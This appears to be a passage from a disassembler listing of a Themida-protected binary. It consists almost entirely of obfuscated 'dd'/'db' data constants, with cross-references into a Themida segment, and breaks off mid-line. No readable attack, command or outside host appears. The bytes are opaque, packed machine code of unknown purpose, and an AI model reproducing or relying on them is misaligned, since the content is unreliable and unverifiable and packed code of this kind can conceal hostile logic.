[esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0A2h dd 3EFBB595h, 1C57533Bh, 0B8F4EAC4h, 61745E3h, 0E0FFC503h dd 29877911h, 4A6D2FE3h, 3962DFDDh, 136018A8h, 7F9CE9D8h dd 5DFE6EAFh, 69784FA9h, 77827CE8h, 7CF52DDCh, 5AF1F4B9h dd 243831F5h, 797227DFh, 471B8D8Dh, 6A0617h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 951452C3h dd 180B0A37h, 8987BEEEh, 1009F58Dh, 6840F06h, 89000000h dd 101C4185h, 1985C706h, 94061023h, 0F000072h, 28Ch, 0C736B600h dd 1022C185h, 6, 75CE8100h, 0FF0BE3DCh, 101B25B5h, 0FF66B006h dd 102DB995h, 0FD8D8906h, 6A061007h, 0C995FF00h, 8B061031h dd 8919EBC0h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h dd 0F9C137A2h, 7143FF39h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h dd 174747EDh, 8428B06h, 2638453Dh, 38850F78h, 8B000001h dd 4A8B0C42h, 0BBC8D318h, 37E5772Bh, 0E883C333h, 0F5858904h dd 8B061009h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 0C88E76BEh dd 2BC633ABh, 0FCE083C7h, 8904E883h, 10231985h, 14428B06h dd 22C18589h, 428B0610h, 0B0E95318h, 0FF000000h, 102821B5h dd 0B9E906h, 0B5FF0000h, 61030C5h, 0AEE9h, 11B5FF00h, 0E9061012h dd 0A3h, 11EDB5FFh, 98E90610h, 0FF000000h, 100BB9B5h, 8DE906h dd 0B5FF0000h, 610232Dh, 82E9h, 0CDB5FF00h, 0E9061000h dd 77h, 4E9B5FFh, 6CE90610h, 0FF000000h, 101D89B5h, 61E906h dd 0B5FF0000h, 6102ED5h, 56E9h, 51B5FF00h, 0E906101Fh dd 4Bh, 1B25B5FFh, 40E90610h, 0FF000000h, 100EA5B5h, 35E906h dd 0B5FF0000h, 61008A1h, 2AE9h, 65B5FF00h, 0E9061008h dd 1Fh, 4A5B5FFh, 14E90610h, 8B000000h, 0BB8D8h, 0F7660000h dd 0A88D8DE3h, 3061747h, 0FFE1FFC8h, 102DB995h, 858B5B06h dd 61009F5h, 0F045839h, 0F85h, 16A5300h, 31C995FFh, 0E95B0610h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 251858Bh dd 8D8D0610h, 6174896h, 8B014189h, 9E8C3h, 13980000h, 0F6CBEA65h dd 0B01EF8BCh, 81665E4Ah, 81C7C7C0h, 6965C6h, 0B8F0F00h dd 0E9000000h, 6, 82AA2345h, 0B94342h, 66000000h, 0DB66E281h dd 810E1C8Bh, 9392B1EBh, 75CA8058h, 0D874EB81h, 8B661DA9h dd 28C381F9h, 0F165A3Dh, 388h, 0C28B6600h, 0B3E48053h dd 0E90E048Fh, 0Ch, 0BA6760CEh, 1D5FA5E7h, 967BEB82h, 0E981D5B4h dd 646762B1h, 0C18171B4h, 646762ADh, 12E9h, 0A6FA1C00h dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 816DC0D7h, 0FF976CF9h dd 27850FFFh, 0F000000h, 1681h, 0B70F6000h, 0CE9D9h, 0E5300000h dd 7946CA9Ah, 1507DB97h, 0E961C0F7h, 13h, 2B4359F9h, 65E9210Fh dd 5FFFFFFh, 707A3705h, 0E8FCFCE9h, 13h, 6D770F51h, 7D7AE2C9h dd 882BAE14h, 0D343015Bh, 59E0DE2Ch, 0C181FA8Bh, 5BC3h dd 0DE9h, 0B872BA00h, 42B1546Dh, 0C5F064D0h, 0D233480Eh dd 8B665660h, 0FE95BF1h, 0C3000000h, 35A7D9F3h, 0E389D4C3h dd 557D15D5h, 8B61C57Eh, 66601134h, 0FFC7CBAh, 684h, 850F00h dd 61000000h, 1246F681h, 60BF6524h, 8147A94Ch, 0A895DEC6h dd 0A4E8BB02h, 0C68102F3h, 2C8FC9DAh, 0F956C18Ah, 5011048Fh dd 93C78166h, 890F5F3Fh, 0 dd 0F04EA83h, 0FA81F8B7h, 0FFFFA504h, 1A850Fh, 0BF0F0000h dd 21E9DEh, 0CCAA0000h, 0C9E4CD65h, 0E1C10FCBh, 0B6452290h dd 2072B2DFh, 0E9DABF0Fh, 0FFFFFF87h, 1D8745BDh, 0E9A6FDFAh dd 1Dh, 6B3C2985h, 6 dup(0) dd 490E900h, 7B680000h, 0E906174Bh, 0FFF935E4h, 174BF668h dd 35DAE906h, 5A68FFF9h, 0E906174Dh, 0FFF935D0h, 0F6B2F595h dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DB369B27h dd 961E7B6Bh, 533F7E32h, 0E2568B34h, 8B65767Dh, 0FC1F03A0h dd 13BA8167h, 0B90900DAh, 5D9423A1h, 3A36EC01h, 0A1A71F46h dd 2D469423h, 587A5396h, 0F75A397Bh, 0B0000002h, 0A037BA15h dd 0F96A213Bh, 1D67FC20h, 0F4AC2F41h, 680FA0BDh, 91463E57h dd 6D80312h, 76665203h, 2ED5EC9Bh, 4D290DF9h, 0D68E4D33h dd 1E4AF89Fh, 0AEAA9BB6h, 118ED99h, 0CB0900DAh, 8B918654h dd 0BDA3BD8Fh, 0A65474CEh, 0E594909Dh, 9DA6545Dh, 0B8A0BDB9h dd 366D13A6h, 0BCF19A21h, 2D27900h, 0D36F1A4Dh, 339DA654h dd 0E69C1B37h, 0E922C7ABh, 994383E9h, 2FD1C8Dh, 17B70000h dd 2BE158D4h, 0CC138F4h, 2BE057D3h, 9BB3AEEh, 0EC180ECAh dd 0CF8BCA7Eh, 0E864A548h, 0C682BD71h, 0E763984Fh, 0B111F804h dd 556BDB37h, 0A9D7CC58h, 0CC7C4002h, 0D7D2A46Dh db 6Bh, 7Ch, 0CCh byte_5C0023 db 6Dh ; DATA XREF: Themida_:0054D694o dword_5C0024 dd 96B38F8Bh, 512BB047h, 0F7C64D5Ah, 5B046967h, 83D1F837h ; DATA XREF: ___:004327ECo dd 0C799B38Fh, 24707EC4h, 0BD9A9694h, 2D6C209Bh, 47862AB1h dd 70B10C5Bh, 0C9829424h, 0CDDC2794h, 44504A01h dword_5C005C dd 28253h, 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h ; DATA XREF: ___:off_432940o dd 39782CABh, 97B8785h, 25B42867h, 10874384h, 2CAB1F5Ah dd 9F8A3E73h, 3754EE9Dh, 33B06BDBh, 1EBD5C69h, 0C6405D4Ch dd 25E67F7h, 7FC071E8h, 8E524C8h, 0CAF74F16h, 5D169424h dd 5FDA04C6h, 3E8473A8h, 0F9424CAh, 0FF71215Ah, 24CAB60Ch dd 0EED24E94h, 82579437h, 8274347Dh, 1901439h, 32760000h dd 0DE504479h, 8D6AA95Bh, 74E81DC6h, 0F9D3080Fh, 7C9E24E7h dd 0AA416DCCh, 68A9AD7Bh, 9267C3BBh, 25C9906Eh, 7F63984Fh dd 0C098C16Ah, 576E67FCh, 9C077B4h, 244024D0h, 0C79D2970h dd 80943Ch, 0AD599639h, 700FB4C9h, 7A6E9C75h, 3D7C39h dd 0D7CE0000h, 75216004h, 6A89DCF1h, 0BA815F71h, 0AC60D716h dd 0BE93906Dh, 5867FC7Ch, 0C58128DCh, 28942383h, 20F1F48Bh dd 397B37h, 0C6h, 43873BFEh, 0A9F8805Bh, 0E79BB7D0h, 32D66E8Bh dd 0AF2A4479h, 0FAACC1FAh, 36EA29DBh, 0BFB3E89Fh, 0FE37EE6Dh dd 0E9B972E9h, 181C0847h, 0AD9E803Ch, 0D5DF6D74h, 0CDB693C8h dd 6DCC0053h, 0B4C6FBA4h, 8063DFCAh, 0A7839233h, 806CD6D5h dd 0AC889233h, 1BBA07CFh, 0C5FBAEC0h, 1D98054Dh, 0F8AC2F41h dd 0D27605B9h, 87E12693h, 5D494A04h, 11E4Ch, 0F336D800h dd 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h dd 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 31D86A21h dd 5F3C6BDBh, 3F7E32D5h, 28530C8Bh, 0D4C3FCB1h, 6DCC7C6Eh dd 0B4C6AA86h, 7C63DFCAh, 2B4E6DCCh, 0BF483414h, 0F308641Ch dd 7932DD6Bh, 86412A44h, 5701D9D0h, 9807E5Bh, 9FDE9262h dd 1BBA07C3h, 0AF455B7h, 1C381A30h, 5E7A4742h, 0C09C67FCh dd 3A792BAEh, 3A7FC77Eh, 17D0943Ch, 9F5108E2h, 44D38B60h dd 0CC8F61A0h, 204D918h, 8291h, 0BD5CEB00h, 0F1A5DE83h dd 12B05B75h, 0F26DCC7Ch, 89805A76h, 67F7C690h, 4F463A36h dd 15E76398h, 0C98240EBh, 6629424h, 8CC16AF1h, 0D1B8A698h dd 9424C971h, 0C7C49995h, 10B5762h, 681C9FC1h, 0D06F5429h dd 0E9659A51h, 9084B972h, 471956F9h, 0DE92CF74h, 33259D8Ch dd 65C1E171h, 28BA6C81h, 843BFA99h, 3A01DB4Fh, 0C7AB5796h dd 4D8229B2h, 0B154E759h, 0D817B970h, 0B633482Ch, 3, 326D5F06h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E68956h dd 4C6h, 4EE8300h, 8B243487h, 89502424h, 405E0h, 42D0000h dd 87000000h, 895C2404h, 3768241Ch, 8900005Bh, 0EC83243Ch dd 24348904h, 174A9DBEh, 5EF38906h, 8904EC83h, 4832424h dd 685F0424h, 5FBBh, 0B8240489h, 8, 1889F801h, 2434FF58h dd 4C4835Fh, 5B2434FFh, 4C481h, 61E90000h, 9FFFF931h, 9DB81F88h dd 306174Eh, 60E0FFC5h, 985773E4h, 5F23A6C1h, 566C095Eh dd 1E3EDAA0h, 0BD43EA65h, 0C901A86Eh, 12190E99h, 8A1DF6E6h dd 0D75480A5h, 9B72EC40h, 0FF2A68C5h, 75039BD5h, 7422B1A3h dd 4C2BFE0Ch, 7D00C259h, 865F25E0h, 0B133BA16h, 0FC2577BAh dd 0E44E1550h, 5E4FD349h, 5A49913Bh, 7D7BF4C9h, 341A9F7Ah dd 0DD5CACA4h, 0C3250388h, 0FC5BFF73h, 1E74E15Eh, 8D5100B3h dd 1750708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8D8907B0h, 61009F5h, 5EB1B052h, 231985C7h dd 5FDC0610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 2F93ECC3h, 3764654Dh, 31019D01h dd 85C70610h, 61022C1h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6BC35545h dd 9447E507h, 9685039Ah, 0FFF38B66h, 100BB9B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B8AAC5Eh, 0B995FFD6h, 6A06102Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A014C353h dd 0B58BA314h, 61031C1h, 95FF006Ah, 61031C9h, 4FEBC08Bh dd 0B40441FBh, 7FECF0D5h, 2D41628Fh, 1F96E90Ah, 0D438D5ACh dd 0C317B8ACh, 3148F9FEh, 2F7172BDh, 0B1F4579Bh, 541512E2h dd 0B93B8C39h, 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 332E2DFDh dd 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h, 0E8421D9Fh dd 6, 0B4C4F623h, 8C0F8615h, 6, 1ECD8589h, 0E95B0610h dd 6, 250ED851h, 0C3817FDEh, 64F1h, 0C7E636BAh, 29EA8124h dd 0E924C7CDh, 0Bh, 5993B6A1h, 0AB5F83D5h, 8B086FD9h, 0F9BF0F03h dd 58F0E881h, 81660C8Ah, 81EF62DEh, 39B5BCC0h, 4DB58B3Ah dd 81061031h, 18BF52E8h, 0BD8B5765h, 61000C5h, 0BD31505Fh dd 6102EC1h, 8589038Fh, 6101175h, 6601EB83h, 4B61C6B9h dd 8A604B4Bh, 499589E1h, 61061012h, 0F01EA83h, 1785h, 27E900h dd 67AB0000h, 3F7E6F5Fh, 300156C8h, 6B78D1AFh, 0BB66A88Bh dd 49E0B966h, 0FFFF8AE9h, 0B973D9FFh, 170D90D2h, 0AA98E5FEh dd 32E9A9h, 1E4A0000h, 5552h, 0Bh dup(0) dd 580E9h, 77BA6C00h, 558C34C3h, 72AB62D9h, 4F8C3FB6h dd 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h, 3CBB6FAAh dd 0EFDA4E83h, 2DA41E0Dh, 63406BDBh, 0A97932D9h, 5AD6CA05h dd 3EF24DBh, 4429431Fh, 7A21B336h, 0B96FE627h, 22B96582h dd 0B6EB946Eh, 0CE8A66CAh, 0AB1712ECh, 4B6DCCE3h, 8A41FACFh dd 0CCFA155h, 1661A57h, 0EF1026Eh, 61765A4Dh, 8FC31DAh dd 0F0A4DB91h, 0DF936D9h, 0E69ADB8Eh, 22AE45FCh, 98993887h dd 77FEBAEFh, 98C698D3h, 0CCA451F1h, 0A5B0B56Dh, 18A6BAFEh dd 11C5A2BEh, 0B4F4AC2Fh, 9968AAEBh, 0F7ABC7B0h, 7E3C8685h dd 5CD86DCCh, 0B7535378h, 4F401100h, 0D20DC17Ah, 0C506A71Eh dd 952CC7D1h, 1F9BD68Ch, 0A0BAEF98h, 4D397619h, 431214E9h dd 6DCCFFFAh, 0A95D9A4Dh, 54407D32h, 0A52BCA59h, 0EB0EA516h dd 336AB322h, 5502h, 79324800h, 0DE5044h, 0CC7CB909h, 0EC015D6Dh dd 0CC7C813Fh, 9A398A6Dh, 6B358E5Fh, 0A0CDFE33h, 0EA3FBBE2h dd 1A04825h, 0EA000000h, 4F437A32h, 0D0AA5EDDh, 0E9FEE217h dd 8F83BA72h, 2C691E9Dh, 54DFFC78h, 0EB7E72AFh, 4CF43DD4h dd 69229915h, 97BBF499h, 7E328523h, 0DAC6FBA4h, 6B607A56h dd 0EE93EE36h, 7865C1B5h, 99AE5DB2h, 0FF36EEEDh, 7CB96EEDh dd 0CFCFAC88h, 904AE97Ah, 1307BB6Eh, 83DF6DCCh, 1300C269h dd 88E46DCCh, 544E873h, 0E419D249h, 0BBF49930h, 0DD1CD0C7h dd 0B9FBB229h, 0AB106AEh, 867A56B1h, 0AD13B2D1h, 0CD28C7FCh dd 336B0814h, 0D512B584h, 7850F8h, 32BA0000h, 34533F7Eh dd 0BF7A548Dh, 0A3E7C60Ch, 1A9B4E70h, 11E64A36h, 0AA495A15h dd 0C09AD98Bh, 2A691B9Eh, 0B70BFA76h, 4F6DCCB7h, 0B940F6D3h dd 522CD817h, 0D4A9E287h, 7A316407h, 6DCCB7C8h, 6014302Ch dd 0E57C37h, 336A68BDh, 519Dh, 4D7EF00h, 0F36F235Eh, 6CAB5DD6h dd 296D21B8h, 5E45F73h, 25DC5B30h, 183C38ECh, 13B2916Ch dd 4D1F5E12h, 0BD9ADB8Eh, 7A3273F9h, 0BF084F43h, 806DCC7Ch dd 6C45A03Fh, 4C336B35h, 12h, 0B5A07972h, 493029B3h, 3325E062h dd 4C280492h, 4D7952Fh, 0F470245Dh, 6CA55CD7h, 356A21B8h dd 59C5741h, 0B02C651Ch, 6A21C453h, 6DCC7CD8h, 0EA04E03Ch dd 0FC06DA3Fh, 0C4B0AC67h, 75E91EC5h, 63FF3DE6h, 0C0D3F852h dd 9AC1B591h, 94235D2Ah, 38F99827h, 0FCDE5A8Fh, 584C8B3Dh dd 8B34FFDCh, 742BAA56h, 0CFC3FEA4h, 5D14AE5Dh, 74F09423h dd 0CB807450h, 90BD19B8h, 7017FAB6h, 0FEEB473Bh, 2CAB08B9h dd 961D3A77h, 1A04B8EDh, 0B44DA331h, 9267D701h, 7B4F448Dh dd 17A2439h, 311A0000h, 0A3A56AB2h, 1CA8C510h, 4C1EBD5Ch dd 0FC266C5Dh, 0F8735867h, 0EFC67A5h, 0C3909463h, 2D49EE13h dd 22CE4A50h, 13C7FCA3h, 0EE545729h, 694233Ah, 0DD864D2Ah dd 26DDFCA8h, 334805F1h, 0B9EE959Ch, 0EF773A05h, 6157397Bh dd 0B5000000h, 0F94996D7h, 9706CD12h, 439823C2h, 56E08229h dd 8D04EDCCh, 0D0C4A0D7h, 0CC563989h, 357016EDh, 6AA34A41h dd 59C03B6h, 50EF90B7h, 0E1FBE0FBh, 8A81B65Ah, 0EDCC5638h dd 0E56480DCh, 0EF20740h, 0CC56871Bh, 87431F6Dh, 0DF1Eh dd 7D3C2200h, 259D8CCBh, 0C16DCC56h, 38EC21CAh, 6943183Ch dd 8128BD5Ch, 6DCC7CC1h, 0C0F5AE25h, 0BDAEC0A4h, 7A409717h dd 599A4BC9h, 6678607Dh, 0E1F62DD3h, 0FC35412Ah, 3DE94567h dd 7215E59Eh, 1E54135h, 337A734Dh, 79982460h, 7B24AFCCh dd 8315D83Dh, 0F5B4C7B2h, 943C7F4Dh, 0CDA9CDA9h, 7E3792D9h dd 502C943Ch, 7EC77B2Eh, 0A81F943Ch, 0CFACC801h, 8F7155ECh dd 3C7E269Ch, 1655F794h, 66ED0A66h, 6FD488BDh, 5C32D868h dd 998D69A8h, 0B9A7B99Dh, 28272B94h, 954B337Ah, 92AEB25Eh dd 3F337013h, 321D06E3h, 0CC9E0760h, 7E25A450h, 754B5D49h dd 2022A08Bh, 66C29E15h, 3C13B291h, 0C4FFA39Dh, 5E7054D0h dd 0E415B980h, 15209D25h, 0D9FD799Eh, 7734492Dh, 942E915Ch dd 68FEBAB6h, 715BD5Ch, 84585023h, 0C2AAD704h, 8767DDB1h dd 0BF9A916Bh, 5767F707h, 865527DBh, 49AC9DDFh, 9174D3A7h dd 641B98B5h, 43FC7B2Fh, 0A633620Eh, 5D2B603Bh, 0B02BAF46h dd 62E0CBF8h, 82CB68CFh, 26ADCAA6h, 594487Dh, 5E7D295Eh dd 6C926CA9h, 0CFB3CEDh, 0CB68CFB6h, 9F5D24Eh, 0E44DE49Fh dd 0C352063Bh, 413BE71Ch, 0E69AD37Ah, 3F46D8Ah, 48000000h dd 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 56CF5541h dd 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E689565Ch dd 4C681h, 0EE810000h, 4, 5C243487h, 56242C89h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 0EC812404h, 4, 0BB241C89h dd 61751C6h, 685BDD89h, 1F98h, 81242489h, 42404h, 81580000h dd 4ECh, 242C8900h, 0FF08408Fh, 81582434h, 4C4h, 2434FF00h dd 4C4835Dh, 0F92933E9h, 58A120FFh, 81270C4Fh, 9791EFA1h dd 56B8B883h, 0C5030617h, 531DE0FFh, 2A5A0F26h, 0FDFA2E93h dd 9374756Ch, 8E9B07E4h, 90BA320Ah, 0D4F3386Ah, 94A6732Ah dd 402B7D64h, 1AC04194h, 8711424h, 0E10D3A9Dh, 2E6E3BB2h dd 0A86B73CDh, 0EB712392h, 0AA465EC9h, 5D167838h, 0E35839EFh dd 13E86AF1h, 35000000h, 3B319EA4h, 2537662Ch, 672D0C3Dh dd 210A55A1h, 0FE94DD0h, 0DA000000h, 0EDE810B0h, 0AA11DA75h dd 0E49B8E58h, 0F5816CFh, 0C081D8BFh, 6F28h, 82BFCA8Bh dd 0E800001Bh, 0Dh, 4D7893E7h, 0B590EA08h, 52F46208h, 11E8AFh dd 4CFF0000h, 6422E99Eh, 0AD636F7Ah, 4D044876h, 0F59225Ch dd 87h, 0FF5A5B00h, 5ECDB630h, 7E06BA66h, 0F064EE81h, 8B660934h dd 7BEE81CAh, 0E9020F9Eh, 0Ah, 934F25F9h, 0DE561F00h, 0F68196EAh dd 5C75F339h, 9CDB8166h, 12E956FCh, 54000000h, 0F3152BF1h dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0F008F3Dh, 68Ch dd 3ACB8100h, 8363D67Fh, 0BE903E8h, 0E000000h, 8611FEABh dd 600E2DDDh, 0F4842A7h, 0EF81DBBFh, 1, 1A850Fh, 0BA660000h dd 38E9A5CDh, 75000000h, 4A06F2B3h, 25ECD6ACh, 89D24804h dd 0A0B29521h, 0AE8h, 0DCC7BF00h, 5999A46Eh, 66E58CA3h dd 6D80EB81h, 0FF51E95Bh, 0AB93FFFFh, 0DBDEA94Dh, 0B37C077Ch dd 0E846046Bh, 0Ah, 5D933AF1h, 4DF57707h, 0B70FECC3h, 10E95BF8h dd 81000000h, 8A5E14EDh, 72FB698Bh, 3DA1BF8Fh, 815E49D0h dd 7173C3h, 33D38A00h, 8BF18BC9h, 9E90B04h, 89000000h dd 0CE487033h, 0F6818263h, 0E4AFF081h, 0B70F1926h, 17C081F6h dd 0BA6211F1h, 1E771E9Eh, 6E70F081h, 0BE66332Fh, 489EE45h dd 5E9F90Bh, 0A0000000h, 4312F810h, 4901E983h, 0F9814949h dd 0FFFF8F20h, 0FFB1850Fh, 13E8FFFFh, 84000000h, 0D6450235h dd 0FB300D4Bh, 8D25072Bh, 0FD953A8Bh, 8B5FFEE7h, 8DBD83C0h dd 61015h, 0BD830975h, 6100095h, 50197400h, 0B8C08B53h dd 421h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh, 95BD83h dd 74000610h, 0B8535017h, 421h, 0E658589h, 9D8D0610h, 612B504h dd 585BD3FFh, 9D8BC08Bh, 6101FD5h, 23E585C6h, 68560610h dd 9CA8B852h, 1D45B5FFh dd 858D0610h, 613858Ah, 46AD0FFh, 100068h, 0D9B5FF00h dd 6A061032h, 85D0FF00h, 0D850FC0h, 0B8000000h, 0 dd 73A38D8Dh, 0E1FF0610h, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 51BD83D3h, 6100Fh, 0E840Fh, 9D8B0000h, 6100F51h, 15E9858Bh dd 3890610h, 858D5251h, 61042D8h, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 23E585C6h, 68560610h, 0D41F6D39h, 1D45B5FFh dd 858D0610h, 613858Ah, 68D0FFh, 6A000080h, 0D0FF5200h dd 0BD83C08Bh, 610158Dh, 83097500h, 100095BDh, 19740006h dd 0C08B5350h, 421B8h, 2D858900h, 8D061013h, 12B87C9Dh dd 5BD3FF06h, 95BD8358h, 61000h, 53501774h, 421B8h, 2D858900h dd 8D061013h, 12B51D9Dh, 5BD3FF06h, 8DC08B58h, 100F519Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 13h, 0BA275FAFh, 0A4F41CA7h, 0B42FC4FFh dd 0DE195556h, 813B7D8Bh, 4ED29CE2h, 11E85842h, 32000000h dd 0C2375D03h, 7139A374h, 0B0739AA4h, 2E049393h, 28D0Fh dd 61600000h, 11C0815Ah, 660000E8h, 681D07BFh, 0 dd 0DE8A6060h, 61615B51h, 89E6805Eh, 0F0634FFh, 0A85h dd 4850F00h, 66000000h, 590351BFh, 6ED38166h, 0B9E981CAh dd 0F9267F66h, 4783F181h, 0BF6620A7h, 0C181CEE8h, 2ACCC123h dd 0E69FDB81h, 665107FCh, 8FD521BAh, 0FE8B3004h, 68B0Fh dd 0DF810000h, 1750A196h, 0F0B6EE81h, 0BF665D7Ah, 0C6815AA0h dd 5D7AF0B2h, 810FDF80h, 0FF18ACFEh, 95850FFFh, 8AFFFFFFh dd 9E8DCh, 0E1130000h, 840794B2h, 0E9A4F5DCh, 0Fh, 6FE0DD6Bh dd 3AE4A8A9h, 1CF20108h, 5E541D51h, 38C681FCh, 0F000066h dd 385h, 0C9B70F00h, 68h, 0DE96000h, 49000000h, 8344C586h dd 0D0956F7Ch, 0EC316951h, 61D78B66h, 14E95Bh, 473E0000h dd 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch, 2874B18Eh, 34FF74B7h dd 0CE933h, 0FEDC0000h, 0D100455Ch, 79A60EBh, 0FC58A07Ah dd 0FDD5F081h, 81F5276Bh, 0D83FA7F0h, 0ABE1800Dh, 0AF61E881h dd 14E8602Fh, 55000000h, 4F525438h, 3EB2F386h, 1EF29B2Ch dd 45EA57E1h, 665FC80Eh, 5A4EB0BFh, 1E048F50h, 14E9h, 4CC9FF00h dd 0A36CDE00h, 0DAFD8631h, 4E98B989h, 62517BFCh, 2BB9BA23h dd 0EB830CC1h, 0F88B6602h, 80604B4Bh, 8E90ACFh, 92000000h dd 0DB2F0DBh, 610739B1h, 9B00FB81h, 850FFFFFh, 26h, 10E9h dd 0FAF7CF00h, 7A2BD0EFh, 0D784E00Ch, 55919D25h, 2CE9FAh dd 64C90000h, 1A2F4A9Bh, 0CB2D885Dh, 5E8C403h, 99000000h dd 5BC25CEDh, 6503D981h, 0E95F50ECh, 0FFFFFF32h, 62774E95h dd 95B10D9h, 8D8D3A8Eh, 6175D98h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0B5C35545h, 8D894DBAh, 61009F5h dd 5860F51h, 0BA000000h, 10AA1161h, 0F08B665Fh, 231985C7h dd 683C0610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 346F75C3h, 238D4D47h, 85C76772h dd 61022C1h, 0 dd 1C41BD89h, 0B5FF0610h, 61030C5h, 0D8816660h, 8D31FFBDh dd 6102EFDh, 8E96061h, 0FC000000h, 4DD54B1Eh, 610EB223h dd 2DB995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 2C7206C3h, 0BB666ECFh, 0E781540Eh dd 1FEB57BBh, 95FF006Ah db 0C9h, 31h, 10h byte_5C1203 db 6 ; DATA XREF: Themida_:0054D0ACo ; Themida_:0054E368o dd 3CEBC08Bh, 3746288h, 88A82DFFh, 92654B8Eh, 90A1689Dh dd 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h, 47A8F2B5h dd 0A0C26B21h, 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch dd 0F9F8FD2Ch, 5E598D8Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0B74DA1C3h, 0C6349003h dd 0B19D8B62h, 8906101Fh, 1009F58Dh, 418D2906h, 0C706100Dh dd 10231985h, 653406h, 59BD8900h, 0C7061011h, 1022C185h dd 6, 8DBD8900h, 89061029h, 10336D8Dh, 0A1B5FF06h, 0FC061008h dd 2DB995FFh, 29570610h, 1020A98Dh, 0B70F5F06h, 0FF006AD8h dd 1031C995h dword_5C12C4 dd 0EBC08B06h, 243DCD5Fh, 82D050B7h, 28879AE0h, 0CD60C30h ; DATA XREF: Themida_:0054DF04o ; Themida_:0054E7D8o dd 0D0E3AEBCh, 80FE38BFh, 0A40182E3h, 0CB96FDAAh, 0B01EF392h dd 9163B314h, 0F03C4A3h, 1047A1E9h, 0F7369AF9h, 0C670F1ABh dd 0D1662E96h, 0D9EB7851h, 3E2CB32Fh, 0B48FE166h, 0F3628176h dd 0E2A867EEh, 0E3767663h, 0B49EB158h, 0A17877h, 63F38D1Dh dd 3BE9h, 0BD8B6000h, 61030A9h, 3304EF83h, 0BBC18BC9h dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh dd 41FFFFFFh, 0F9810789h, 100h, 0FFD3820Fh, 0C361FFFFh dd 9D8DC88Bh, 6102FC5h, 13A8B8h, 0D9858900h, 0E806101Eh dd 0 dd 0D0558h, 3890000h, 13A8E9h db 0 byte_5C138D db 3 dup(0) ; DATA XREF: Themida_:0054E430o dd 4E7h dup(0) db 0 byte_5C272D db 3 dup(0) ; DATA XREF: Themida_:0054C37Co dd 0 dd 9FE900h, 0C3630000h, 974DCC80h, 0B86DEC60h, 974CCB7Fh dd 0B557DE5Ah, 0B8C4C276h, 0F367A64Ah, 0CC80C164h, 0EA5E994Dh dd 0CB7FB46Bh, 952DDCE0h, 716BDB0Eh, 7D32A874h, 0DAC601A5h dd 0BD867A56h, 0B02C691Eh, 0CC7C4EF9h, 0F315B16Dh, 8CFA6D8Ah dd 719237B1h, 92F112F3h, 0C5Ah, 215FB200h, 0C464F2Ch, 5774A7F0h dd 3D8032CDh, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 0CF68CF55h dd 0E9061772h, 0FFF90D0Ch, 75EF85B2h, 8B8131E4h, 0E1205DEh dd 41CAFE9Fh, 26A80D8Bh, 8C8A4903h, 0ABA80D8Bh, 6475EAD5h dd 2CA80D88h, 0BA8A4900h, 9957AE5Dh, 548A4900h, 0ABA80D89h dd 1F75EAD5h, 0CFA80D89h, 998A4901h, 49A80D89h, 138A4906h dd 0ABA80D8Eh, 2575EAD5h, 2031D42Fh, 0C003133Dh, 52BF22D2h dd 308D90A7h, 0D12157B5h, 439D665Eh, 21F6D42Fh, 0C003133Dh dd 52BF22DAh, 303C90A7h, 0D12157B5h, 439D66AAh, 22A5D42Fh dd 0C003133Dh, 52BF2226h, 33E890A7h, 0D12157B5h, 439D66A6h dd 220ED42Fh, 0C003133Dh, 52BF2232h, 336590A7h, 0D12157B5h dd 439D66B2h, 2398D42Fh, 0C003133Dh, 52BF223Eh, 32FB90A7h dd 0D12157B5h, 439D668Ah, 231AD42Fh, 0C003133Dh, 52BF2206h dd 326190A7h, 0D12157B5h, 